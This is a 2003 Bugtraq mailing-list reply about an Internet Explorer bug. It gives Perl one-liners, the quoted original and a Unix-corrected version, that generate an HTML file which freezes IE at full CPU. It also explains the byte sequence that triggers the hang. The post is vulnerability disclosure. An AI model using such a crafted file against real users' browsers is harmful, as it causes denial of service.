Re: April appeared to be a month of IE bugs. Here's another one.

From: ERRor (errorat_private)
Date: Wed Apr 30 2003 - 18:26:34 PDT

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    > >Hello, Bugtraq.
    >
    > >Malicious htm file can freeze IE with 100% CPU usage:
    > >Construct the file freeze.htm:
    > >c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
    >
     This string works only with Active Perl, in unix-like Perl versions exploit
    string is:
     perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
     Active Perl understand \n = \x0D\x0A, freeze of  IE exist only if sequence
     of bytes will be ...\x0D\x0D\x0A...
     Sorry, I have not noticed it at once.
    
     Best Regards, ERRor, dHtm.
    



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